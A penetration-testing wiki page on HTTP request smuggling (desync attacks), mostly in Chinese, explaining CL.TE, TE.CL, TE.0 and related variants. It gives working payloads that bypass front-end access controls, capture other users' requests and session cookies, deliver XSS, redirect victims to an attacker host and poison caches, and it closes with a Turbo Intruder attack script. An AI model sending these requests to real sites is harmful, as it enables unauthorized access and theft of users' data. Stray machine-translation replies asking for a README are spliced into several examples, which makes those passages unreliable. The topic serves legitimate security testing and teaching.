HTTP Request Smuggling / HTTP Desync Attack

Reading time: 42 minutes

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

是什么

front-end proxiesback-end 服务器之间发生 不同步(desynchronization),使得 attacker 发送的一个 HTTP request 会被 front-end proxies(负载均衡/反向代理) 视为 单个请求,但被 back-end 视为 两个请求 时,就会出现此漏洞。
这使得攻击者能够 修改在他之后到达后端服务器的下一个请求

原理

RFC Specification (2161)

If a message is received with both a Transfer-Encoding header field and a Content-Length header field, the latter MUST be ignored.

Content-Length

The Content-Length entity header indicates the size of the entity-body, in bytes, sent to the recipient.

Transfer-Encoding: chunked

The Transfer-Encoding header specifies the form of encoding used to safely transfer the payload body to the user.
Chunked means that large data is sent in a series of chunks

实际情况

Front-End(负载均衡 / 反向代理)处理了 Content-LengthTransfer-Encoding 头,而 Back-end 服务器处理了另一个头时,就会在两者之间造成 不同步
这可能非常危险,因为 攻击者可以向反向代理发送一个请求,该请求会被 后端服务器解释为两个不同的请求。该技术的危险在于后端会把 注入的第二个请求 解释为 来自下一个客户端 的请求,而该客户端的真实请求则会成为 被注入请求的一部分

细节

记住在 HTTP 中 换行字符由 2 个字节组成(CRLF)

  • Content-Length: 该头使用 十进制数字 来表示请求体的 字节数。请求体应在最后一个字符结束,请求末尾不需要额外的换行符
  • Transfer-Encoding: 该头在 body 中使用 十六进制数字 指示 下一个 chunk 的字节数。每个 chunk 必须以 换行 结尾,但该换行符 不被长度指示器计入。该传输方式必须以 大小为 0 的 chunk,后跟 2 个换行 结束:0
  • Connection: 根据我的经验,建议在 request smuggling 的第一个请求中使用 Connection: keep-alive

Visible - Hidden

http/1.1 的主要问题在于所有请求共享同一个 TCP socket,因此如果两个接收请求的系统之间存在差异,就可能发送一个请求,使最终后端(或中间系统)将其视为两个(或更多)不同的请求。

This blog post 提出了新的检测 desync 攻击的方法,这些方法不会被 WAFs 标记。为此它展示了 Visible vs Hidden 行为。目标是在不实际利用任何问题的情况下,通过引起可能导致 desync 的技术来发现响应中的差异。

例如,发送一个带有正常 Host 头和一个 " host" 头的请求,如果后端对该请求报错(可能因为 " host" 的值不正确),这可能意味着 front-end 没有看到 " host" 头而最终后端使用了它,这高度可能表明 front-end 与 back-end 之间存在 desync。

这就是一个 Hidden-Visible discrepancy

如果 front-end 正常处理了 " host" 头,但后端没有,这则可能是 Visible-Hidden 情形。

例如,这一方法曾用于发现 AWS ALB(作为前端)与 IIS(作为后端)之间的 desync。当发送 "Host: foo/bar" 时,ALB 返回 400, Server; awselb/2.0,但当发送 "Host : foo/bar" 时,它返回 400, Server: Microsoft-HTTPAPI/2.0,表明后端在发送响应。这是一个 Hidden-Visible (H-V) 情况。

注意该问题在 AWS 中尚未被修复,但可以通过设置 routing.http.drop_invalid_header_fields.enabledrouting.http.desync_mitigation_mode = strictest 来缓解。

基本示例

tip

尝试用 Burp Suite 利用此类漏洞时,请在 repeater 中 禁用 Update Content-LengthNormalize HTTP/1 line endings,因为某些 gadget 会滥用换行、回车和畸形的 content-length。

HTTP request smuggling 攻击通过发送具有歧义性的请求来利用 front-end 与 back-end 在解释 Content-Length (CL) 和 Transfer-Encoding (TE) 头时的差异。这些攻击主要表现为 CL.TE, TE.CL, 和 TE.TE。每种类型代表 front-end 与 back-end 优先处理这些头的不同组合。漏洞的根源在于服务器以不同方式处理同一请求,导致意外且可能恶意的结果。

漏洞类型基本示例

https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104

tip

在上表之外,你还应考虑 TE.0 技术,类似于 CL.0,但使用 Transfer-Encoding。

CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)

  • Front-End (CL): 基于 Content-Length 头处理请求。

  • Back-End (TE): 基于 Transfer-Encoding 头处理请求。

  • 攻击场景:

  • 攻击者发送一个 Content-Length 值与实际内容长度不匹配的请求。

  • front-end 根据 Content-Length 值将整个请求转发给 back-end。

  • back-end 因为 Transfer-Encoding: chunked 将请求作为 chunked 处理,把剩余数据解释为单独的后续请求。

  • 示例:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
Foo: x

TE.CL Vulnerability (Transfer-Encoding used by Front-End, Content-Length used by Back-End)

  • Front-End (TE): 基于 Transfer-Encoding 头处理请求。

  • Back-End (CL): 基于 Content-Length 头处理请求。

  • 攻击场景:

  • 攻击者发送一个 chunked 请求,其中 chunk 大小(例如 7b)与实际的 Content-Length: 4 并不一致。

  • front-end 遵循 Transfer-Encoding 将整个请求转发给 back-end。

  • back-end 遵循 Content-Length 只处理请求的最初部分(7b 字节),将剩余部分作为非预期的后续请求。

  • 示例:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked

7b
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30

x=
0

TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation)

  • Servers: 双方都支持 Transfer-Encoding,但其中一个可以被混淆手段骗过以忽略它。

  • 攻击场景:

  • 攻击者发送包含被混淆的 Transfer-Encoding 头的请求。

  • 取决于哪个服务器(front-end 或 back-end)未能识别混淆,可能利用出 CL.TE 或 TE.CL 的漏洞。

  • 在一个服务器看来未被处理的请求部分会成为后续请求的一部分,从而导致 smuggling。

  • 示例:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

CL.CL 情形 (Content-Length used by both Front-End and Back-End)

  • 双方服务器都仅基于 Content-Length 头处理请求。
  • 这种情形通常不会导致 smuggling,因为两者在解释请求长度上是一致的。
  • 示例:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Normal Request

CL.0 情形

  • 指的是存在 Content-Length 头且其值非零(表示请求体有内容)的情形,但后端忽略了 Content-Length(被视作 0),而 front-end 则解析它。
  • 在理解和构造 smuggling 攻击时这是关键,因为它影响服务器如何确定请求的结束。
  • 示例:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 16
Connection: keep-alive

Non-Empty Body

TE.0 情形

  • 与上一个类似,但使用 TE。
  • Technique reported here
  • Example:
OPTIONS / HTTP/1.1
Host: {HOST}
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Transfer-Encoding: chunked
Connection: keep-alive

50
GET <http://our-collaborator-server/> HTTP/1.1
x: X
0
EMPTY_LINE_HERE
EMPTY_LINE_HERE

0.CL 场景

0.CL 场景中,请求会被发送,并带有类似这样的 Content-Length:

GET /Logon HTTP/1.1
Host: <redacted>
Content-Length:
7

GET /404 HTTP/1.1
X: Y

而 front-end 不考虑 Content-Length,所以它只会把第一个请求发送到 backend(在示例中直到 7 为止)。但是 backend 会看到 Content-Length 并等待一个永远不会到达的请求体,因为 front-end 已经在等待响应。

然而,如果存在一种发送到 backend 的请求会在接收请求体之前就被响应,则不会发生这种死锁。例如在 IIS 中,对像 /con 这类保留词发送请求会出现这种情况(查看 documentation),这样初始请求会被直接响应,第二个请求将包含受害者的请求,类似:

GET / HTTP/1.1
X: yGET /victim HTTP/1.1
Host: <redacted>

这在引起 desync 时很有用,但直到现在都不会产生影响。

然而,该文章提供了解决方案,通过将 0.CL attack into a CL.0 with a double desync 转换来实现。

Breaking the web server

此技术在某些场景下也很有用,例如在可以在读取初始 HTTP 数据时破坏 web server不关闭连接的情况下。这样,HTTP 请求的body将被视为下一个 HTTP 请求

例如,正如 this writeup 中所述,在 Werkzeug 中可以发送一些 Unicode 字符,这会使服务器崩溃。然而,如果 HTTP 连接是通过头部 Connection: keep-alive 建立的,请求的 body 不会被读取,连接仍然保持打开,因此该请求的 body 将被当作 下一个 HTTP 请求

Forcing via hop-by-hop headers

滥用 hop-by-hop headers 可以指示 proxy 删除 Content-Length 或 Transfer-Encoding 头部,从而使 HTTP request smuggling 可被利用

Connection: Content-Length

For more information about hop-by-hop headers visit:

hop-by-hop headers

Finding HTTP Request Smuggling

Identifying HTTP request smuggling vulnerabilities can often be achieved using timing techniques, which rely on observing how long it takes for the server to respond to manipulated requests. These techniques are particularly useful for detecting CL.TE and TE.CL vulnerabilities. Besides these methods, there are other strategies and tools that can be used to find such vulnerabilities:

Finding CL.TE Vulnerabilities Using Timing Techniques

  • Method:

  • Send a request that, if the application is vulnerable, will cause the back-end server to wait for additional data.

  • Example:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0
  • Observation:

  • The front-end server processes the request based on Content-Length and cuts off the message prematurely.

  • The back-end server, expecting a chunked message, waits for the next chunk that never arrives, causing a delay.

  • Indicators:

  • Timeouts or long delays in response.

  • Receiving a 400 Bad Request error from the back-end server, sometimes with detailed server information.

Finding TE.CL Vulnerabilities Using Timing Techniques

  • Method:

  • Send a request that, if the application is vulnerable, will cause the back-end server to wait for additional data.

  • Example:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X
  • Observation:
  • The front-end server processes the request based on Transfer-Encoding and forwards the entire message.
  • The back-end server, expecting a message based on Content-Length, waits for additional data that never arrives, causing a delay.

Other Methods to Find Vulnerabilities

  • Differential Response Analysis:
  • Send slightly varied versions of a request and observe if the server responses differ in an unexpected way, indicating a parsing discrepancy.
  • Using Automated Tools:
  • Tools like Burp Suite's 'HTTP Request Smuggler' extension can automatically test for these vulnerabilities by sending various forms of ambiguous requests and analyzing the responses.
  • Content-Length Variance Tests:
  • Send requests with varying Content-Length values that are not aligned with the actual content length and observe how the server handles such mismatches.
  • Transfer-Encoding Variance Tests:
  • Send requests with obfuscated or malformed Transfer-Encoding headers and monitor how differently the front-end and back-end servers respond to such manipulations.

The Expect: 100-continue header

Check how this header can help exploiting a http desync in:

Special Http Headers

HTTP Request Smuggling Vulnerability Testing

After confirming the effectiveness of timing techniques, it's crucial to verify if client requests can be manipulated. A straightforward method is to attempt poisoning your requests, for instance, making a request to / yield a 404 response. The CL.TE and TE.CL examples previously discussed in Basic Examples demonstrate how to poison a client's request to elicit a 404 response, despite the client aiming to access a different resource.

Key Considerations

When testing for request smuggling vulnerabilities by interfering with other requests, bear in mind:

  • Distinct Network Connections: The "attack" and "normal" requests should be dispatched over separate network connections. Utilizing the same connection for both doesn't validate the vulnerability's presence.
  • Consistent URL and Parameters: Aim to use identical URLs and parameter names for both requests. Modern applications often route requests to specific back-end servers based on URL and parameters. Matching these increases the likelihood that both requests are processed by the same server, a prerequisite for a successful attack.
  • Timing and Racing Conditions: The "normal" request, meant to detect interference from the "attack" request, competes against other concurrent application requests. Therefore, send the "normal" request immediately following the "attack" request. Busy applications may necessitate multiple trials for conclusive vulnerability confirmation.
  • Load Balancing Challenges: Front-end servers acting as load balancers may distribute requests across various back-end systems. If the "attack" and "normal" requests end up on different systems, the attack won't succeed. This load balancing aspect may require several attempts to confirm a vulnerability.
  • Unintended User Impact: If your attack inadvertently impacts another user's request (not the "normal" request you sent for detection), this indicates your attack influenced another application user. Continuous testing could disrupt other users, mandating a cautious approach.

Distinguishing HTTP/1.1 pipelining artifacts vs genuine request smuggling

Connection reuse (keep-alive) and pipelining can easily produce illusions of "smuggling" in testing tools that send multiple requests on the same socket. Learn to separate harmless client-side artifacts from real server-side desync.

Why pipelining creates classic false positives

HTTP/1.1 reuses a single TCP/TLS connection and concatenates requests and responses on the same stream. In pipelining, the client sends multiple requests back-to-back and relies on in-order responses. A common false-positive is to resend a malformed CL.0-style payload twice on a single connection:

POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: Y

请把 src/pentesting-web/http-request-smuggling/README.md 的内容粘贴到此处,或上传该文件。我会按要求把英文翻译成中文,并保留原有的 markdown/HTML 语法、链接与标签。

HTTP/1.1 200 OK
Content-Type: text/html

HTTP/1.1 200 OK
Content-Type: text/plain

User-agent: *
Disallow: /settings

如果服务器忽略了畸形的 Content_Length,则不会出现 FE↔BE desync。在复用的情况下,你的客户端实际上发送了这个字节流,服务器将其解析为两个独立的请求:

POST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: YPOST / HTTP/1.1
Host: hackxor.net
Content_Length: 47

GET /robots.txt HTTP/1.1
X: Y

影响:无。你只是使客户端与服务器的分帧不同步。

tip

依赖 reuse/pipelining 的 Burp 模块:Turbo Intruder(requestsPerConnection>1)、Intruder("HTTP/1 connection reuse")、Repeater("Send group in sequence (single connection)" 或 "Enable connection reuse")。

Litmus tests: pipelining or real desync?

  1. Disable reuse and re-test
  • 在 Burp Intruder/Repeater 中,关闭 HTTP/1 reuse 并避免使用 "Send group in sequence"。
  • 在 Turbo Intruder 中,将 requestsPerConnection=1 并设置 pipeline=False
  • 如果问题消失,通常是客户端侧的 pipelining,除非你面对 connection-locked/stateful 目标或客户端侧 desync。
  1. HTTP/2 nested-response check
  • 发送一个 HTTP/2 请求。如果响应体包含一个完整的嵌套 HTTP/1 响应,则证明是后端解析/desync 漏洞,而非纯客户端现象。
  1. Partial-requests probe for connection-locked front-ends
  • 有些 FEs 只有在客户端复用连接时才会复用上游 BE 连接。使用 partial-requests 检测 FE 行为是否镜像客户端的复用。
  • 参见 PortSwigger 的 "Browser‑Powered Desync Attacks" 了解 connection-locked 技术。
  1. State probes
  • 在同一 TCP 连接上查找首个请求与后续请求的差异(首请求的路由/校验)。
  • Burp "HTTP Request Smuggler" 包含一个连接状态探测,可自动化此过程。
  1. Visualize the wire
  • 使用 Burp 的 "HTTP Hacker" 扩展,在尝试复用和 partial requests 时直接检查串联和报文分帧。

Connection‑locked request smuggling (reuse-required)

有些前端只有在客户端复用连接时才会复用上游连接。真实的 smuggling 存在,但依赖于客户端侧的复用。为区分并证明影响:

  • Prove the server-side bug
  • 使用 HTTP/2 nested-response check,或
  • 使用 partial-requests 显示 FE 仅在客户端复用时才复用上游。
  • 即使直接的跨用户 socket 滥用被阻止,也要展示真实影响:
  • Cache poisoning: 通过 desync 污染共享缓存,使响应影响其他用户。
  • Internal header disclosure: 反射 FE 注入的 headers(例如 auth/trust headers),并由此转向 auth bypass。
  • Bypass FE controls: 将受限路径/方法 smuggle 通过前端。
  • Host-header abuse: 结合主机路由的怪异行为转向内部 vhosts。
  • Operator workflow
  • 在受控复用下复现(Turbo Intruder requestsPerConnection=2,或 Burp Repeater 标签组 → "Send group in sequence (single connection)")。
  • 然后串联到 cache/header-leak/control-bypass 原语,演示跨用户或授权影响。

See also connection‑state attacks, which are closely related but not technically smuggling:

{{#ref}} ../http-connection-request-smuggling.md {{#endref}}

Client‑side desync constraints

如果你的目标是 browser-powered/client-side desync,恶意请求必须能被浏览器以跨域方式发送。Header obfuscation 技巧不起作用。专注于通过 navigation/fetch 可达的原语,然后转向 cache poisoning、header disclosure 或 front-end control bypass,当下游组件反射或缓存响应时利用这些缺陷。

用于背景知识和端到端流程:

Browser HTTP Request Smuggling

Tooling to help decide

  • HTTP Hacker (Burp BApp Store):在尝试复用和 partial requests 时暴露低级别的 HTTP 行为和 socket 串联。
  • "Smuggling or pipelining?" Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
  • Turbo Intruder:通过 requestsPerConnection 精确控制连接复用。
  • Burp HTTP Request Smuggler:包含一个 connection‑state 探针,用于发现首请求的路由/校验差异。

note

将仅依赖复用的效果视为非问题,除非你能证明服务端的 desync 并附上具体影响(poisoned cache artifact、leaked internal header enabling privilege bypass、bypassed FE control 等)。

Abusing HTTP Request Smuggling

Circumventing Front-End Security via HTTP Request Smuggling

有时,前端代理会强制执行安全措施,检查传入请求。但这些措施可以被 HTTP Request Smuggling 绕过,从而允许未授权访问受限端点。例如,外部可能禁止访问 /admin,前端代理会主动阻止此类尝试。然而,该代理可能不会检查 smuggled HTTP 请求内嵌的请求,从而留下绕过这些限制的漏洞。

下面的示例说明了如何使用 HTTP Request Smuggling 绕过前端安全控制,特别针对通常由前端代理保护的 /admin 路径:

CL.TE Example

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked

0
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10

x=

在 CL.TE 攻击中,Content-Length 头用于初始请求,而后续嵌入的请求使用 Transfer-Encoding: chunked 头。前端代理处理了初始的 POST 请求,但未能检查嵌入的 GET /admin 请求,从而允许未授权访问 /admin 路径。

TE.CL 示例

POST / HTTP/1.1
Host: [redacted].web-security-academy.net
Cookie: session=[redacted]
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0

相反,在 TE.CL 攻击中,初始 POST 请求使用 Transfer-Encoding: chunked,随后嵌入的请求则基于 Content-Length 头进行处理。类似于 CL.TE 攻击,前端代理忽略了被走私的 GET /admin 请求,无意中授予了对受限 /admin 路径的访问。

揭示前端请求重写

应用通常使用一个 前端服务器 在将请求转发到后端服务器之前修改传入请求。典型的修改包括添加头,例如 X-Forwarded-For: <IP of the client>,以将客户端的 IP 转发给后端。理解这些修改至关重要,因为它可能揭示绕过防护发现隐藏信息或端点的方法。

要调查代理如何修改请求,找到后端在响应中回显的一个 POST 参数。然后构造一个请求,将该参数放在最后,类似于下面:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked

0

POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

search=

在这种结构中,后续的请求组件会在 search= 之后被追加,该参数会在响应中被反射。此反射会暴露后续请求的 headers。

必须将嵌套请求的 Content-Length header 与实际内容长度对齐。建议从较小的值开始并逐步增加,因为值太小会截断被反射的数据,而值太大则可能导致请求出错。

此技术在 TE.CL 漏洞的情形下也适用,但请求应以 search=\r\n0 终止。无论换行字符如何,值都会追加到 search 参数中。

此方法主要用于了解前端 proxy 对请求所做的修改,本质上是对其进行自查。

捕获其他用户的请求

可以通过在 POST 操作中将特定请求作为某个参数的值追加来捕获下一个用户的请求。下面说明如何实现:

通过将下面的请求作为参数值追加,你可以存储随后客户端的请求:

POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi

csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=

在这种场景中,comment parameter 用于将内容存储在公开页面的帖子评论区。因此,随后的请求内容将会显示为该评论。

不过,这种方法有其局限。通常,它只会捕获到被 smuggled 请求中使用的参数分隔符为止。对于 URL-encoded 表单提交,该分隔符是 & 字符。也就是说,从受害用户的请求中被捕获的内容会在第一个 & 处停止,这个 & 甚至可能属于查询字符串。

另外,值得注意的是,该方法在存在 TE.CL 漏洞时也可行。在这种情况下,请求应以 search=\r\n0 结尾。无论换行字符如何,值都会被追加到 search 参数中。

使用 HTTP request smuggling 利用 Reflected XSS

HTTP Request Smuggling 可用于攻击对 Reflected XSS 易受攻击的网页,具有显著优势:

  • 与目标用户的交互 不是必需的
  • 允许在通常无法触及的请求部分利用 XSS,例如 HTTP request headers。

在某些场景下,如果网站通过 User-Agent header 对 Reflected XSS 易受攻击,下面的 payload 演示了如何利用该漏洞:

POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=ac311fa41f0aa1e880b0594d008d009e
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded

0

GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded

A=

这个 payload 的结构用来利用该漏洞,步骤如下:

  1. 发起一个看似正常的 POST 请求,带有 Transfer-Encoding: chunked 头来表明开始进行 smuggling。
  2. 随后发送一个 0,标示 chunked 消息体的结束。
  3. 然后引入一个被 smuggle 的 GET 请求,其中通过 User-Agent 头注入了脚本 <script>alert(1)</script>,当服务器处理该后续请求时会触发 XSS。

通过对 User-Agent 的 smuggling 操作,该 payload 绕过了常规请求限制,从而以一种非标准但有效的方式利用了 Reflected XSS 漏洞。

HTTP/0.9

caution

In case the user content is reflected in a response with a Content-type such as text/plain, preventing the execution of the XSS. If the server support HTTP/0.9 it might be possible to bypass this!

版本 HTTP/0.9 出现在 1.0 之前,只使用 GET 方法并且不会返回 headers,仅返回 body。

this writeup 中,利用 request smuggling 和一个会把用户输入原样回复的易受攻击端点来 smuggle 一个使用 HTTP/0.9 的请求。将会在响应中被反射的参数包含了一个 fake HTTP/1.1 response (with headers and body),因此响应会包含有效的可执行 JS 代码,且 Content-Typetext/html

Exploiting On-site Redirects with HTTP Request Smuggling

应用通常在从一个 URL 重定向到另一个 URL 时,会在重定向 URL 中使用来自 Host 头的主机名。这在 Apache 和 IIS 等 web 服务器中很常见。例如,请求一个没有尾随斜杠的目录会导致重定向以包含该斜杠:

GET /home HTTP/1.1
Host: normal-website.com

导致:

HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

尽管看似无害,这种行为可以通过 HTTP request smuggling 被操纵,从而将用户重定向到外部站点。例如:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked

0

GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

这个 smuggled request 可能会导致下一个被处理的用户请求被重定向到攻击者控制的网站:

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com

你没有提供要翻译的内容。请粘贴 src/pentesting-web/http-request-smuggling/README.md 的文本,或把要翻译的内容贴在这里。我会在保留 markdown/HTML/链接/路径和标签不翻译的前提下,将其翻译成中文。

HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

在这种场景中,用户对 JavaScript 文件的请求被劫持。攻击者可能通过返回恶意 JavaScript 来危害用户。

利用 Web Cache Poisoning 通过 HTTP Request Smuggling

如果任何组件的 front-end infrastructure caches content(通常用于提升性能),就可以实施 Web cache poisoning。通过操纵服务器的响应,就有可能 poison the cache

之前,我们演示了如何修改服务器响应以返回 404 错误(参见 Basic Examples)。同样,也可以诱使服务器在对 /static/include.js 的请求中返回 /index.html 的内容。因此,缓存中 /static/include.js 的内容会被 /index.html 的内容替换,导致用户无法访问 /static/include.js,并可能引起拒绝服务(DoS)。

如果发现了 Open Redirect vulnerability,或者存在指向 open redirect 的 on-site redirect,该技术会特别强大。此类漏洞可以被利用,将缓存中 /static/include.js 的内容替换为攻击者控制的脚本,从而对所有请求更新后 /static/include.js 的客户端发动大规模的 Cross-Site Scripting (XSS) 攻击。

下面示例演示了如何利用 cache poisoning combined with an on-site redirect to open redirect。目标是修改 /static/include.js 的缓存内容,使其返回由攻击者控制的 JavaScript 代码:

POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked

0

GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10

x=1

注意嵌入的请求目标为 /post/next?postId=3。该请求会被重定向到 /post?postId=4,并利用 Host header value 来确定域名。通过修改 Host header,attacker 可以将请求重定向到其域名(on-site redirect to open redirect)。

在成功进行 socket poisoning 后,应发起对 /static/include.jsGET request。该请求会被之前的 on-site redirect to open redirect 请求污染,并获取由攻击者控制的脚本内容。

随后,对 /static/include.js 的任何请求都会返回缓存的攻击者脚本内容,从而有效地发动大范围的 XSS 攻击。

Using HTTP request smuggling to perform web cache deception

web cache poisoning 和 web cache deception 之间有什么区别?

  • web cache poisoning 中,attacker 导致应用程序将一些恶意内容存入 cache,并且这些内容会从 cache 中提供给其他应用程序用户。
  • web cache deception 中,attacker 导致应用程序将属于另一用户的一些敏感内容存入 cache,然后 attacker 再从 cache 中检索这些内容。

attacker 构造一个 smuggled request 来获取敏感的特定用户内容。考虑以下示例:

markdown
`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
`Connection: keep-alive`\
`Content-Length: 43`\
`Transfer-Encoding: chunked`\
`` \ `0`\ ``\
`GET /private/messages HTTP/1.1`\
`Foo: X`

如果这个 smuggled request 污染了原本用于静态内容的缓存条目(例如 /someimage.png),受害者来自 /private/messages 的敏感数据可能会被缓存在该静态内容的缓存条目下。因此,攻击者可能能够检索这些被缓存的敏感数据。

通过 HTTP Request Smuggling 滥用 TRACE

In this post 提到,如果服务器启用了 TRACE 方法,可能可以通过 HTTP Request Smuggling 滥用它。这是因为该方法会将发送到服务器的任何 header 反射为响应体的一部分。例如:

TRACE / HTTP/1.1
Host: example.com
XSS: <script>alert("TRACE")</script>

Please paste the README.md content you want translated. I will translate the English text to Chinese while preserving all markdown/html/tags/paths/links and not translating code, technique names, cloud/SaaS names, or links. Paste the full file or the portion to translate.

HTTP/1.1 200 OK
Content-Type: message/http
Content-Length: 115

TRACE / HTTP/1.1
Host: vulnerable.com
XSS: <script>alert("TRACE")</script>
X-Forwarded-For: xxx.xxx.xxx.xxx

An example on how to abuse this behaviour would be to smuggle first a HEAD request. This request will be responded with only the headers of a GET request (Content-Type among them). And smuggle immediately after the HEAD a TRACE request, which will be reflecting the sent data.
由于 HEAD response 会包含 Content-Length header,TRACE request 的 response 会被当作 HEAD response 的 body,从而在 response 中反射任意数据
该 response 将被发送到连接上的下一个 request,所以这可以用于缓存的 JS 文件中注入任意 JS 代码

Abusing TRACE via HTTP Response Splitting

Continue following this post is suggested another way to abuse the TRACE method. 如前所述,smuggling 一个 HEAD request 和一个 TRACE request 可以control some reflected data在 HEAD request 的 response 中。HEAD request 的 body 长度基本由 Content-Length header 指示,并且由 TRACE request 的 response 构成。

因此,新想法是:已知该 Content-Length 和 TRACE response 中的内容后,可以使 TRACE response 在 Content-Length 的最后一个字节之后包含一个有效的 HTTP response,从而允许攻击者完全控制下一个 response 的 request(这可用于执行 cache poisoning)。

Example:

GET / HTTP/1.1
Host: example.com
Content-Length: 360

HEAD /smuggled HTTP/1.1
Host: example.com

POST /reflect HTTP/1.1
Host: example.com

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>

将生成这些响应(注意 HEAD 响应具有 Content-Length,使 TRACE 响应成为 HEAD 消息体的一部分,并且一旦 HEAD 的 Content-Length 结束,一个有效的 HTTP 响应就被 smuggled):

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165

HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243

SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50

<script>alert(“arbitrary response”)</script>

使用 HTTP Response Desynchronisation 将 HTTP Request Smuggling 武器化

你是否发现了某个 HTTP Request Smuggling 漏洞但不知道如何利用它?试试下面这些其他利用方法:

HTTP Response Smuggling / Desync

其他 HTTP Request Smuggling 技术

  • Browser HTTP Request Smuggling (Client Side)

Browser HTTP Request Smuggling

  • Request Smuggling in HTTP/2 Downgrades

Request Smuggling in HTTP/2 Downgrades

Turbo intruder 脚本

CL.TE

来自 https://hipotermia.pw/bb/http-desync-idor

python
def queueRequests(target, wordlists):

engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
